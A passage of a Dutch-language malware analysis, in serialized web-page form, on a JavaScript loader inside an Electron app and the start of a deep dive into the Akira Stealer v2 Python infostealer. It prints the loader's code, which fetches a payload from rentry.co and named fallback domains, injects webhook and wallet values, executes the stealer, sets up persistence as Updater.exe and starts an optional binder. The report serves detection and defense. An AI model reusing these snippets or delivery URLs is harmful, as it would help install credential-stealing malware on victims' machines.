kwaadaardige acties uitvoert:",[862,3295,3297],{"id":3296},"_621-voorbereiding-van-de-omgeving","6.2.1 Voorbereiding van de omgeving",[533,3299,868],{},[533,3301,3302],{},"De gedecrypteerde payload begint met het opzetten van zijn uitvoeringsomgeving via ingebouwde Node.js-modules. Deze opzetfase zorgt ervoor dat alle benodigde paden en werkdirectories duidelijk zijn gedefinieerd voordat er kwaadaardig gedrag optreedt.",[604,3304,3305,3338],{},[607,3306,3307,3310,3311,3314,3315],{},[540,3308,3309],{},"Bepalen van de temporary directory:","\nDe malware roept ",[551,3312,3313],{},"os.tmpdir()"," aan om het pad naar de temporary directory van het systeem te bepalen. Dit is een gangbare tactiek voor malware, omdat tijdelijke mappen doorgaans beschrijfbaar zijn en minder streng worden gecontroleerd door endpointbeveiliging.",[588,3316,3318],{"className":2986,"code":3317,"language":2988,"meta":594,"style":594},"const tempDir = os.tmpdir();\n",[551,3319,3320],{"__ignoreMap":594},[1681,3321,3322,3324,3327,3329,3332,3335],{"class":1683,"line":1684},[1681,3323,2996],{"class":2995},[1681,3325,3326],{"class":2777}," tempDir",[1681,3328,3002],{"class":2995},[1681,3330,3331],{"class":3005}," os.",[1681,3333,3334],{"class":2769},"tmpdir",[1681,3336,3337],{"class":3005},"();\n",[607,3339,3340,3343,3344,3357],{},[540,3341,3342],{},"Opbouw van paden:","\nHet script construeert vervolgens absolute paden voor twee belangrijke bestanden:",[604,3345,3346,3351],{},[607,3347,3348,3350],{},[551,3349,2872],{},": het archief dat de eigenlijke Python-based stealer van de tweede fase bevat",[607,3352,3353,3356],{},[551,3354,3355],{},"bnd.exe",": een optioneel uitvoerbaar bestand dat kan dienen als persistence-backdoor of aanvullende payload",[588,3358,3360],{"className":2986,"code":3359,"language":2988,"meta":594,"style":594},"const tempFile = path.join(tempDir, \"pyth.zip\");\nconst binderFile = path.join(tempDir, \"bnd.exe\");\n",[551,3361,3362,3385],{"__ignoreMap":594},[1681,3363,3364,3366,3369,3371,3374,3377,3380,3383],{"class":1683,"line":1684},[1681,3365,2996],{"class":2995},[1681,3367,3368],{"class":2777}," tempFile",[1681,3370,3002],{"class":2995},[1681,3372,3373],{"class":3005}," path.",[1681,3375,3376],{"class":2769},"join",[1681,3378,3379],{"class":3005},"(tempDir, ",[1681,3381,3382],{"class":2773},"\"pyth.zip\"",[1681,3384,3062],{"class":3005},[1681,3386,3387,3389,3392,3394,3396,3398,3400,3403],{"class":1683,"line":2061},[1681,3388,2996],{"class":2995},[1681,3390,3391],{"class":2777}," binderFile",[1681,3393,3002],{"class":2995},[1681,3395,3373],{"class":3005},[1681,3397,3376],{"class":2769},[1681,3399,3379],{"class":3005},[1681,3401,3402],{"class":2773},"\"bnd.exe\"",[1681,3404,3062],{"class":3005},[533,3406,3407],{},"Deze padopzet abstraheert de OS-specifieke padsyntaxis en stelt de malware in staat om op elk Windows-systeem te werken. Daarnaast legt het de basis voor de download- en uitpakmechanismen die volgen.",[862,3409,3411],{"id":3410},"_622-download-van-de-payload-met-fallbackstrategie","6.2.2 Download van de payload met fallbackstrategie",[533,3413,868],{},[533,3415,3416],{},"De tweede grote fase van de gedecrypteerde JavaScript-payload bestaat uit het downloaden van een kwaadaardig ZIP-archief van externe bronnen. Dit mechanisme is opgezet met een meerlaagse fallbackstrategie om de robuustheid en beschikbaarheid te vergroten.",[604,3418,3419,3451,3536,3570],{},[607,3420,3421,3424,3425,3445,3447,3448,3450],{},[540,3422,3423],{},"Primaire linkresolutie via Rentry.co","\nHet script begint met het ophalen van een dynamische URL bij een tekst-pastedienst. Het stuurt een GET-request naar:",[588,3426,3428],{"className":2986,"code":3427,"language":2988,"meta":594,"style":594},"const url = \"https://rentry.co/7vzd22fg36hfdd33/raw\";\n",[551,3429,3430],{"__ignoreMap":594},[1681,3431,3432,3434,3437,3439,3442],{"class":1683,"line":1684},[1681,3433,2996],{"class":2995},[1681,3435,3436],{"class":2777}," url",[1681,3438,3002],{"class":2995},[1681,3440,3441],{"class":2773}," \"https://rentry.co/7vzd22fg36hfdd33/raw\"",[1681,3443,3444],{"class":3005},";\n",[699,3446],{},"Dit levert een URL in platte tekst op die verwijst naar de daadwerkelijke locatie van het archief ",[551,3449,2872],{},". Het gebruik van zo'n omleidingsmechanisme is een gangbare obfuscation-techniek, omdat het de echte kwaadaardige URL abstraheert en statische detectie bemoeilijkt.",[607,3452,3453,3456,3457,3489,3491,3492,3494,3495,3529,3531,3532,3535],{},[540,3454,3455],{},"Uitvoeren van de download","\nDe opgehaalde URL wordt vervolgens opgevraagd met de Axios-bibliotheek via een response stream:",[588,3458,3460],{"className":2986,"code":3459,"language":2988,"meta":594,"style":594},"const fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\n",[551,3461,3462],{"__ignoreMap":594},[1681,3463,3464,3466,3469,3471,3474,3477,3480,3483,3486],{"class":1683,"line":1684},[1681,3465,2996],{"class":2995},[1681,3467,3468],{"class":2777}," fileResponse",[1681,3470,3002],{"class":2995},[1681,3472,3473],{"class":2995}," await",[1681,3475,3476],{"class":3005}," axios.",[1681,3478,3479],{"class":2769},"get",[1681,3481,3482],{"class":3005},"(fileUrl, { responseType: ",[1681,3484,3485],{"class":2773},"\"stream\"",[1681,3487,3488],{"class":3005}," });\n",[699,3490],{},"Het bestand wordt naar schijf geschreven als ",[551,3493,2872],{}," in de temp directory van het systeem:",[588,3496,3498],{"className":2986,"code":3497,"language":2988,"meta":594,"style":594},"const writer = fs.createWriteStream(tempFile);\nfileResponse.data.pipe(writer);\n",[551,3499,3500,3518],{"__ignoreMap":594},[1681,3501,3502,3504,3507,3509,3512,3515],{"class":1683,"line":1684},[1681,3503,2996],{"class":2995},[1681,3505,3506],{"class":2777}," writer",[1681,3508,3002],{"class":2995},[1681,3510,3511],{"class":3005}," fs.",[1681,3513,3514],{"class":2769},"createWriteStream",[1681,3516,3517],{"class":3005},"(tempFile);\n",[1681,3519,3520,3523,3526],{"class":1683,"line":2061},[1681,3521,3522],{"class":3005},"fileResponse.data.",[1681,3524,3525],{"class":2769},"pipe",[1681,3527,3528],{"class":3005},"(writer);\n",[699,3530],{},"Deze download is ingepakt in een ",[551,3533,3534],{},"Promise"," om te garanderen dat hij synchroon wordt afgerond voordat de rest van de logica wordt uitgevoerd.",[607,3537,3538,3541,3542,3567,3569],{},[540,3539,3540],{},"Fallback-URL's","\nAls de link via Rentry faalt, probeert het script hardcoded backuplocaties:",[588,3543,3545],{"className":2986,"code":3544,"language":2988,"meta":594,"style":594},"https://cosmicdust.zip/.well-known/pki-validation/pyth.zip\nhttps://cosmoplanets.net/well-known/pki-validation/pyth.zip\n",[551,3546,3547,3558],{"__ignoreMap":594},[1681,3548,3549,3552,3554],{"class":1683,"line":1684},[1681,3550,3551],{"class":2769},"https",[1681,3553,1174],{"class":3005},[1681,3555,3557],{"class":3556},"sJ8bj","//cosmicdust.zip/.well-known/pki-validation/pyth.zip\n",[1681,3559,3560,3562,3564],{"class":1683,"line":2061},[1681,3561,3551],{"class":2769},[1681,3563,1174],{"class":3005},[1681,3565,3566],{"class":3556},"//cosmoplanets.net/well-known/pki-validation/pyth.zip\n",[699,3568],{},"Deze domeinen zijn zo opgebouwd dat ze onderdeel lijken van standaard TLS-validatiemappen, mogelijk om Let's Encrypt of domeinvalidatiepaden te imiteren en zo minder verdacht over te komen. Elke fallback wordt opnieuw geprobeerd met dezelfde streaming- en schrijflogica.",[607,3571,3572,3575,3576,3579],{},[540,3573,3574],{},"Robuustheid en obfuscation","\nDit fallbackmechanisme zorgt ervoor dat de malware meerdere routes heeft om zijn tweedefase-payload op te halen. Het gebruik van een dynamische pointer (",[551,3577,3578],{},"rentry.co",") en meerdere failover-mirrors maakt de malware weerbaarder tegen takedowns, blokkades en DNS-sinkholes.",[533,3581,3582],{},"Deze fase laat zien dat de auteurs van de malware zorgvuldig operationeel hebben gepland, met gelaagde redundantie en goed gecamoufleerde afleverinfrastructuur.",[604,3584,3585,3591],{},[607,3586,3587,3588,3590],{},"Downloadt ",[551,3589,2872],{}," vanaf de opgehaalde URL",[607,3592,3593,3594],{},"Als dat mislukt, probeert het fallback-mirrors:\n",[604,3595,3596,3601],{},[607,3597,3598],{},[551,3599,3600],{},"https://cosmicdust.zip/.well-known/pki-validation/pyth.zip",[607,3602,3603],{},[551,3604,3605],{},"https://cosmoplanets.net/well-known/pki-validation/pyth.zip",[862,3607,3609],{"id":3608},"_623-uitpakken-en-manipuleren-van-de-payload","6.2.3 Uitpakken en manipuleren van de payload",[533,3611,868],{},[533,3613,3614,3615,3617,3618,3620],{},"Zodra het archief ",[551,3616,2872],{}," succesvol is gedownload en op schijf is opgeslagen, gaat de malware verder met het uitpakken van de inhoud en het klaarzetten daarvan voor uitvoering. Dat gebeurt met de Node.js-bibliotheek ",[551,3619,2844],{},", die programmatische verwerking van ZIP-bestanden mogelijk maakt.",[604,3622,3623,3671,3698],{},[607,3624,3625,3628,3665,3667,3668,3670],{},[540,3626,3627],{},"ZIP-extractie:",[588,3629,3631],{"className":2986,"code":3630,"language":2988,"meta":594,"style":594},"const zip = new AdmZip(tempFile);\nzip.extractAllTo(tempDir, true);\n",[551,3632,3633,3650],{"__ignoreMap":594},[1681,3634,3635,3637,3640,3642,3645,3648],{"class":1683,"line":1684},[1681,3636,2996],{"class":2995},[1681,3638,3639],{"class":2777}," zip",[1681,3641,3002],{"class":2995},[1681,3643,3644],{"class":2995}," new",[1681,3646,3647],{"class":2769}," AdmZip",[1681,3649,3517],{"class":3005},[1681,3651,3652,3655,3658,3660,3663],{"class":1683,"line":2061},[1681,3653,3654],{"class":3005},"zip.",[1681,3656,3657],{"class":2769},"extractAllTo",[1681,3659,3379],{"class":3005},[1681,3661,3662],{"class":2777},"true",[1681,3664,3062],{"class":3005},[699,3666],{},"Hiermee wordt de volledige inhoud van het archief uitgepakt naar de temporary directory van het systeem. De vlag ",[551,3669,3662],{}," zorgt ervoor dat bestaande bestanden worden overschreven.",[607,3672,3673,3676,3677,3679,3680],{},[540,3674,3675],{},"Inhoud van het archief:","\nHet archief ",[551,3678,2872],{}," bevat een volledig gebundeld Python-project, waaronder:",[604,3681,3682,3685,3688],{},[607,3683,3684],{},"Een directorystructuur die lijkt op een legitiem Python-package",[607,3686,3687],{},"Diverse Python-modules en dependencies",[607,3689,3690,3691,3693,3694,3697],{},"Het cruciale bestand ",[551,3692,582],{}," op ",[551,3695,3696],{},"Crypto/Util/astor.py",", dat de eigenlijke stealer-payload is",[607,3699,3700,3703,3704,3706,3707,3727],{},[540,3701,3702],{},"Vervangen van placeholders:","\nDe malware voert een dynamische substitutie uit van vooraf gedefinieerde placeholders binnen ",[551,3705,582],{}," om configuratiedata van de aanvaller te injecteren, zoals:",[604,3708,3709,3712,3715,3721],{},[607,3710,3711],{},"Een Discord-webhook-URL",[607,3713,3714],{},"Cryptowallet-adressen (BTC, ETH, DOGE, LTC, XMR, enzovoort)",[607,3716,3717,3718,1113],{},"Een gebruikersidentificatie (",[551,3719,3720],{},"%USERID%",[607,3722,3723,3724,1113],{},"Een foutstatusvlag (",[551,3725,3726],{},"%ERRORSTATUS%",[588,3728,3730],{"className":2986,"code":3729,"language":2988,"meta":594,"style":594},"fs.readFile(extractedDir + \"\\Crypto\\Util\\astor.py\", 'utf8', (err, data) => {\n  let updatedFile = data\n    .replace(\"%DISCORD%\", \u003Cwebhook>)\n    .replace(\"%ADDRESSBTC%\", \u003Cbtc_address>)\n    ...\n    .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\n\n  fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\n});\n",[551,3731,3732,3793,3806,3829,3839,3844,3849,3854,3860],{"__ignoreMap":594},[1681,3733,3734,3737,3740,3743,3746,3749,3752,3755,3758,3761,3764,3767,3769,3772,3775,3779,3781,3784,3787,3790],{"class":1683,"line":1684},[1681,3735,3736],{"class":3005},"fs.",[1681,3738,3739],{"class":2769},"readFile",[1681,3741,3742],{"class":3005},"(extractedDir ",[1681,3744,3745],{"class":2995},"+",[1681,3747,3748],{"class":2773}," \"",[1681,3750,3751],{"class":2777},"\\C",[1681,3753,3754],{"class":2773},"rypto",[1681,3756,3757],{"class":2777},"\\U",[1681,3759,3760],{"class":2773},"til",[1681,3762,3763],{"class":2777},"\\a",[1681,3765,3766],{"class":2773},"stor.py\"",[1681,3768,620],{"class":3005},[1681,3770,3771],{"class":2773},"'utf8'",[1681,3773,3774],{"class":3005},", (",[1681,3776,3778],{"class":3777},"s4XuR","err",[1681,3780,620],{"class":3005},[1681,3782,3783],{"class":3777},"data",[1681,3785,3786],{"class":3005},") ",[1681,3788,3789],{"class":2995},"=>",[1681,3791,3792],{"class":3005}," {\n",[1681,3794,3795,3798,3801,3803],{"class":1683,"line":2061},[1681,3796,3797],{"class":2995},"  let",[1681,3799,3800],{"class":3005}," updatedFile ",[1681,3802,3163],{"class":2995},[1681,3804,3805],{"class":3005}," data\n",[1681,3807,3808,3811,3814,3816,3819,3822,3826],{"class":1683,"line":2067},[1681,3809,3810],{"class":3005},"    .",[1681,3812,3813],{"class":2769},"replace",[1681,3815,3197],{"class":3005},[1681,3817,3818],{"class":2773},"\"%DISCORD%\"",[1681,3820,3821],{"class":3005},", \u003C",[1681,3823,3825],{"class":3824},"s9eBZ","webhook",[1681,3827,3828],{"class":3005},">)\n",[1681,3830,3831,3834,3837],{"class":1683,"line":2073},[1681,3832,3833],{"class":3005},"    .replace(\"%ADDRESSBTC%\", \u003C",[1681,3835,3836],{"class":2777},"btc_address",[1681,3838,3828],{"class":3005},[1681,3840,3841],{"class":1683,"line":2394},[1681,3842,3843],{"class":3005},"    ...\n",[1681,3845,3846],{"class":1683,"line":2400},[1681,3847,3848],{"class":3005},"    .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\n",[1681,3850,3851],{"class":1683,"line":3059},[1681,3852,3853],{"emptyLinePlaceholder":325},"\n",[1681,3855,3857],{"class":1683,"line":3856},8,[1681,3858,3859],{"class":3005},"  fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\n",[1681,3861,3863],{"class":1683,"line":3862},9,[1681,3864,3865],{"class":3005},"});\n",[533,3867,3868],{},"Deze fase van dynamische manipulatie is essentieel. Doordat de waarden van de aanvaller pas tijdens runtime worden ingevoegd, ontloopt de payload statische detectie en kan de operator doelwitten en exfiltratie-endpoints aanpassen zonder het archief opnieuw te hoeven bouwen.",[604,3870,3871],{},[607,3872,3873,3874,3876,3877],{},"Vervangt placeholder-strings in ",[551,3875,582],{},":\n",[604,3878,3879,3885,3895],{},[607,3880,3881,3882],{},"Discord-webhook: ",[551,3883,3884],{},"%DISCORD%",[607,3886,3887,3888,620,3891,3894],{},"Walletadressen: ",[551,3889,3890],{},"%ADDRESSBTC%",[551,3892,3893],{},"%ADDRESSETH%",", enzovoort",[607,3896,3897],{},"Gebruikers-ID en foutvlaggen",[862,3899,3901],{"id":3900},"_624-uitvoering-van-de-malware","6.2.4 Uitvoering van de malware",[533,3903,868],{},[604,3905,3906],{},[607,3907,3908,3909],{},"Zodra de injectie van de placeholders in astor.py is afgerond, start de malware de stealer via een systeemaanroep",[588,3910,3912],{"className":2986,"code":3911,"language":2988,"meta":594,"style":594},"exec(\"python.exe Crypto\\\\Util\\\\astor.py\");\n",[551,3913,3914],{"__ignoreMap":594},[1681,3915,3916,3919,3921,3924,3927,3930,3932,3935],{"class":1683,"line":1684},[1681,3917,3918],{"class":2769},"exec",[1681,3920,3197],{"class":3005},[1681,3922,3923],{"class":2773},"\"python.exe Crypto",[1681,3925,3926],{"class":2777},"\\\\",[1681,3928,3929],{"class":2773},"Util",[1681,3931,3926],{"class":2777},[1681,3933,3934],{"class":2773},"astor.py\"",[1681,3936,3062],{"class":3005},[533,3938,3939],{},"Dit commando wordt uitgevoerd met de functie child_process.exec van Node.js en start de ingebedde Python-payload in een apart proces. Dit specifieke uitvoeringspatroon, python.exe met het argument Crypto\\Util\\astor.py, is waargenomen in telemetriedata van Microsoft Defender for Endpoint en vormt daarmee een betrouwbaar detectie-artefact. In de praktijk ziet de uitvoeringsketen er zo uit:",[533,3941,3942],{},"De volledige uitvoeringsketen van de malware, zoals waargenomen in de telemetrie van Microsoft Defender for Endpoint, volgt deze reeks:",[604,3944,3945,3954,3961,3967],{},[607,3946,3947,3949,3950,3953],{},[551,3948,578],{}," (Electron-based container) roept ",[551,3951,3952],{},"node.exe"," aan",[607,3955,3956,3958,3959],{},[551,3957,3952],{}," start ",[551,3960,1102],{},[607,3962,3963,3958,3965],{},[551,3964,1102],{},[551,3966,553],{},[607,3968,3969,3971,3972,3974],{},[551,3970,553],{}," voert het bestand ",[551,3973,1112],{}," uit",[862,3976,3978],{"id":3977},"_625-versterking-van-de-persistence","6.2.5 Versterking van de persistence",[533,3980,868],{},[533,3982,3983,3984,3986],{},"Om langdurig aanwezig te blijven op het geïnfecteerde systeem bevat de gedecrypteerde JavaScript-payload logica die persistence opnieuw vestigt door het oorspronkelijke binary (",[551,3985,574],{},") te kopiëren naar een verborgen locatie binnen het gebruikersprofiel.",[533,3988,3989],{},[540,3990,3991],{},"Doeldirectory",[533,3993,3994],{},"Het bestand wordt gekopieerd naar een directory die legitieme Windows-componenten imiteert:",[588,3996,3998],{"className":2986,"code":3997,"language":2988,"meta":594,"style":594},"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\n",[551,3999,4000],{"__ignoreMap":594},[1681,4001,4002,4005,4008,4010],{"class":1683,"line":1684},[1681,4003,4004],{"class":2995},"%",[1681,4006,4007],{"class":2777},"APPDATA",[1681,4009,4004],{"class":2995},[1681,4011,4012],{"class":3005},"\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\n",[533,4014,4015],{},"Deze locatie is bewust gekozen:",[604,4017,4018,4021],{},[607,4019,4020],{},"%APPDATA% is beschrijfbaar voor gewone gebruikers en vereist geen administratieve rechten.",[607,4022,4023],{},"De naam van de directory bootst legitieme Microsoft-applicatiemappen na, waardoor die minder verdacht is.",[533,4025,4026],{},[540,4027,4028],{},"Kopieermechanisme:",[533,4030,4031],{},"De kopieerbewerking gebruikt de functie fs.copyFileSync() van Node.js:",[588,4033,4035],{"className":2986,"code":4034,"language":2988,"meta":594,"style":594},"fs.copyFileSync(\n  process.env.PORTABLE_EXECUTABLE_FILE,\n  path.join(\n    process.env.APPDATA,\n    \"Microsoft\",\n    \"Internet Explorer\",\n    \"UserData\",\n    \"Updater.exe\",\n  ),\n);\n",[551,4036,4037,4046,4056,4065,4074,4081,4088,4095,4102,4107],{"__ignoreMap":594},[1681,4038,4039,4041,4044],{"class":1683,"line":1684},[1681,4040,3736],{"class":3005},[1681,4042,4043],{"class":2769},"copyFileSync",[1681,4045,3012],{"class":3005},[1681,4047,4048,4051,4054],{"class":1683,"line":2061},[1681,4049,4050],{"class":3005},"  process.env.",[1681,4052,4053],{"class":2777},"PORTABLE_EXECUTABLE_FILE",[1681,4055,3042],{"class":3005},[1681,4057,4058,4061,4063],{"class":1683,"line":2067},[1681,4059,4060],{"class":3005},"  path.",[1681,4062,3376],{"class":2769},[1681,4064,3012],{"class":3005},[1681,4066,4067,4070,4072],{"class":1683,"line":2073},[1681,4068,4069],{"class":3005},"    process.env.",[1681,4071,4007],{"class":2777},[1681,4073,3042],{"class":3005},[1681,4075,4076,4079],{"class":1683,"line":2394},[1681,4077,4078],{"class":2773},"    \"Microsoft\"",[1681,4080,3042],{"class":3005},[1681,4082,4083,4086],{"class":1683,"line":2400},[1681,4084,4085],{"class":2773},"    \"Internet Explorer\"",[1681,4087,3042],{"class":3005},[1681,4089,4090,4093],{"class":1683,"line":3059},[1681,4091,4092],{"class":2773},"    \"UserData\"",[1681,4094,3042],{"class":3005},[1681,4096,4097,4100],{"class":1683,"line":3856},[1681,4098,4099],{"class":2773},"    \"Updater.exe\"",[1681,4101,3042],{"class":3005},[1681,4103,4104],{"class":1683,"line":3862},[1681,4105,4106],{"class":3005},"  ),\n",[1681,4108,4110],{"class":1683,"line":4109},10,[1681,4111,3062],{"class":3005},[604,4113,4114,4117],{},[607,4115,4116],{},"PORTABLE_EXECUTABLE_FILE is een omgevingsvariabele die door veel packers (zoals Electron) automatisch wordt gezet om naar het pad van het uitvoerende binary te verwijzen.",[607,4118,4119],{},"path.join(...) bouwt een volledig gekwalificeerd doelpad op dat over verschillende besturingssystemen werkt.",[533,4121,4122],{},"Deze logica wordt alleen uitgevoerd als het bestand nog niet aanwezig is en werkt daarmee als een zelfherstelmechanisme dat de dropper terugzet als die is verwijderd.",[533,4124,4125,4128],{},[540,4126,4127],{},"Rol in de malwareketen","\nDe aanwezigheid van deze gekopieerde Updater.exe zorgt ervoor dat:",[604,4130,4131,4134],{},[607,4132,4133],{},"De loader zichzelf opnieuw kan starten na een herstart van het systeem.",[607,4135,4136],{},"De volledige infectieketen (die leidt naar main.exe, node.exe en uiteindelijk astor.py) opnieuw kan beginnen zonder afhankelijk te zijn van klassieke registerpersistence, die eerder gemonitord wordt.",[862,4138,4140],{"id":4139},"_626-optionele-uitvoering-van-de-binder","6.2.6 Optionele uitvoering van de binder",[533,4142,868],{},[533,4144,4145,4146,4148],{},"Naast het downloaden en uitvoeren van de belangrijkste stealer-payload (",[551,4147,582],{},") bevat het gedecrypteerde JavaScript ook logica om optioneel een tweede uitvoerbaar bestand te downloaden en te starten, aangeduid als de \"binder\". Deze component kan worden gebruikt voor persistence, als afleiding of voor het uitrollen van aanvullende malwaremodules.",[533,4150,4151],{},[540,4152,4153],{},"Voorwaardelijke uitvoering",[533,4155,4156],{},"De binder-logica wordt alleen geactiveerd als een specifieke vlag is gezet:",[588,4158,4160],{"className":2986,"code":4159,"language":2988,"meta":594,"style":594},"enableBinder = true;\n",[551,4161,4162],{"__ignoreMap":594},[1681,4163,4164,4167,4169,4172],{"class":1683,"line":1684},[1681,4165,4166],{"class":3005},"enableBinder ",[1681,4168,3163],{"class":2995},[1681,4170,4171],{"class":2777}," true",[1681,4173,3444],{"class":3005},[533,4175,4176,4177,4180],{},"In het geanalyseerde sample stond deze waarde standaard op ",[551,4178,4179],{},"false",", maar de logica blijft ingebed in de payload en kan in een andere campagne of variant eenvoudig worden geactiveerd.",[533,4182,4183],{},[540,4184,4185],{},"Downloadlogica van de binder",[533,4187,4188,4189,1174],{},"Bij activering probeert het script een extern binary op te halen van een URL die is gedefinieerd via de placeholder ",[551,4190,4191],{},"%BINDERURL%",[588,4193,4195],{"className":2986,"code":4194,"language":2988,"meta":594,"style":594},"const fileUrl = \"%BINDERURL%\";\nconst fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\nconst writer = fs.createWriteStream(binderFile);\nfileResponse.data.pipe(writer);\n",[551,4196,4197,4211,4231,4246],{"__ignoreMap":594},[1681,4198,4199,4201,4204,4206,4209],{"class":1683,"line":1684},[1681,4200,2996],{"class":2995},[1681,4202,4203],{"class":2777}," fileUrl",[1681,4205,3002],{"class":2995},[1681,4207,4208],{"class":2773}," \"%BINDERURL%\"",[1681,4210,3444],{"class":3005},[1681,4212,4213,4215,4217,4219,4221,4223,4225,4227,4229],{"class":1683,"line":2061},[1681,4214,2996],{"class":2995},[1681,4216,3468],{"class":2777},[1681,4218,3002],{"class":2995},[1681,4220,3473],{"class":2995},[1681,4222,3476],{"class":3005},[1681,4224,3479],{"class":2769},[1681,4226,3482],{"class":3005},[1681,4228,3485],{"class":2773},[1681,4230,3488],{"class":3005},[1681,4232,4233,4235,4237,4239,4241,4243],{"class":1683,"line":2067},[1681,4234,2996],{"class":2995},[1681,4236,3506],{"class":2777},[1681,4238,3002],{"class":2995},[1681,4240,3511],{"class":3005},[1681,4242,3514],{"class":2769},[1681,4244,4245],{"class":3005},"(binderFile);\n",[1681,4247,4248,4250,4252],{"class":1683,"line":2073},[1681,4249,3522],{"class":3005},[1681,4251,3525],{"class":2769},[1681,4253,3528],{"class":3005},[604,4255,4256,4262],{},[607,4257,4258,4259,4261],{},"Het bestand ",[551,4260,3355],{}," wordt opgeslagen in de temporary directory van het systeem.",[607,4263,4264,4265,4267],{},"Net als ",[551,4266,2872],{}," wordt het binary met Axios in streamvorm gedownload om te voorkomen dat het volledige binary in het geheugen wordt geladen.",[533,4269,4270],{},[540,4271,4272],{},"Uitvoeringsstrategie",[533,4274,4275,4276,4278],{},"Na een geslaagde download start het script het gedownloade binary via ",[551,4277,1102],{},", zodat het in een nieuwe shell-context loopt:",[588,4280,4282],{"className":2986,"code":4281,"language":2988,"meta":594,"style":594},"exec(`start cmd /c start ${binderFile}`, ...);\n",[551,4283,4284],{"__ignoreMap":594},[1681,4285,4286,4288,4290,4293,4296,4299,4301,4304],{"class":1683,"line":1684},[1681,4287,3918],{"class":2769},[1681,4289,3197],{"class":3005},[1681,4291,4292],{"class":2773},"`start cmd /c start ${",[1681,4294,4295],{"class":3005},"binderFile",[1681,4297,4298],{"class":2773},"}`",[1681,4300,620],{"class":3005},[1681,4302,4303],{"class":2995},"...",[1681,4305,3062],{"class":3005},[533,4307,4308],{},"Om de betrouwbaarheid te vergroten bevat het script retry-logica:",[588,4310,4312],{"className":2986,"code":4311,"language":2988,"meta":594,"style":594},"setTimeout(() => {\n  exec(...);\n}, 5000);\n",[551,4313,4314,4326,4337],{"__ignoreMap":594},[1681,4315,4316,4319,4322,4324],{"class":1683,"line":1684},[1681,4317,4318],{"class":2769},"setTimeout",[1681,4320,4321],{"class":3005},"(() ",[1681,4323,3789],{"class":2995},[1681,4325,3792],{"class":3005},[1681,4327,4328,4331,4333,4335],{"class":1683,"line":2061},[1681,4329,4330],{"class":2769},"  exec",[1681,4332,3197],{"class":3005},[1681,4334,4303],{"class":2995},[1681,4336,3062],{"class":3005},[1681,4338,4339,4342,4345],{"class":1683,"line":2067},[1681,4340,4341],{"class":3005},"}, ",[1681,4343,4344],{"class":2777},"5000",[1681,4346,3062],{"class":3005},[533,4348,4349],{},"Daarmee zorgt de malware ervoor dat het binary na een korte vertraging opnieuw wordt gestart, ook als de eerste uitvoering mislukt (bijvoorbeeld door systeembelasting of race conditions).",[533,4351,4352],{},[540,4353,4354],{},"Toepassingen van de binder",[533,4356,4357],{},"Het exacte doel van het binder-binary komt in dit specifieke sample niet naar voren (vanwege de placeholder-URL), maar dergelijke componenten worden doorgaans gebruikt om:",[604,4359,4360,4363,4366,4369],{},[607,4361,4362],{},"Primaire malwarecomponenten opnieuw te installeren of te starten",[607,4364,4365],{},"Nep-installers of lokvogel-applicaties te tonen",[607,4367,4368],{},"Aanvullende spyware, backdoors of ransomware uit te rollen",[607,4370,4371],{},"Systeeminstellingen aan te passen of beveiligingsfuncties uit te schakelen",[715,4373,4375],{"id":4374},"_63-samenvatting","6.3 Samenvatting",[533,4377,721],{},[533,4379,4380,4382],{},[551,4381,2811],{}," is een sterk geobfusceerde, versleutelde JavaScript-loader die met cryptografie volgens de industriestandaard (PBKDF2 + AES-256-CBC) zijn werkelijke doel verbergt. Na decryptie gedraagt hij zich als een volwaardige tweedefase-loader die:",[604,4384,4385,4390,4393,4398],{},[607,4386,4387,4388,1113],{},"Verdere malware ophaalt (",[551,4389,2872],{},[607,4391,4392],{},"Het gedrag van de payload dynamisch aanpast",[607,4394,4395,4396,1113],{},"Het eigenlijke stealer-script start (",[551,4397,582],{},[607,4399,4400,4401,4403],{},"Persistence versterkt door ",[551,4402,574],{}," terug te zetten",[533,4405,4406,4407,4410],{},"De combinatie van encryptie, dynamische uitvoering, modulair ophalen van payloads en fileless werking laat een ",[540,4408,4409],{},"zeer geavanceerde, JavaScript-based malware-architectuur"," zien die de mogelijkheden van Node.js binnen een Electron-shell benut.",[528,4412,4414,4415,1113],{"id":4413},"_7-deepdive-akira-stealer-v2-astorpy","7. DeepDive: Akira Stealer v2 (",[551,4416,582],{},[533,4418,535],{},[715,4420,4422],{"id":4421},"_71-functionaliteit-op-hoofdlijnen","7.1. Functionaliteit op hoofdlijnen",[533,4424,721],{},[533,4426,4427,4428,4430],{},"Akira Stealer v2 (",[551,4429,582],{},") is een multifunctionele, modulaire infostealer-malware geschreven in Python. Hij is ontworpen om een breed scala aan gevoelige gebruikersdata te exfiltreren uit zowel Chromium- als Firefox-based browsers, cryptowallets, communicatieclients (bijvoorbeeld Discord, Telegram) en systeembestanden. Hij bevat geraffineerde anti-analysemechanismen, registerbased persistence, clipboard hijacking en technieken voor memory injection.",[715,4432,4434],{"id":4433},"_72-persistence-en-uitrol","7.2 Persistence en uitrol",[533,4436,721],{},[862,4438,4440],{"id":4439},"_721-context-van-de-uitvoeringsketen","7.2.1 Context van de uitvoeringsketen",[533,4442,868],{},[533,4444,4445,4447],{},[551,4446,582],{}," wordt niet zelfstandig uitgevoerd, maar is de laatste payload in een aanvalsketen met meerdere fasen:",[588,4449,4453],{"className":4450,"code":4451,"language":4452,"meta":594,"style":594},"language-plaintext shiki shiki-themes github-light github-dark","Updater.exe\n  └── main.exe (Electron app)\n        └── cmd.exe\n              └── python.exe astor.py\n","plaintext",[551,4454,4455,4460,4465,4470],{"__ignoreMap":594},[1681,4456,4457],{"class":1683,"line":1684},[1681,4458,4459],{},"Updater.exe\n",[1681,4461,4462],{"class":1683,"line":2061},[1681,4463,4464],{},"  └── main.exe (Electron app)\n",[1681,4466,4467],{"class":1683,"line":2067},[1681,4468,4469],{},"        └── cmd.exe\n",[1681,4471,4472],{"class":1683,"line":2073},[1681,4473,4474],{},"              └── python.exe astor.py\n",[533,4476,4477,4478,4480],{},"Door deze gestructureerde uitvoeringsketen kan elke fase detectie ontlopen door de kwaadaardige functionaliteit door te geven aan de volgende. ",[551,4479,574],{}," start de reeks en is verantwoordelijk voor het behouden van 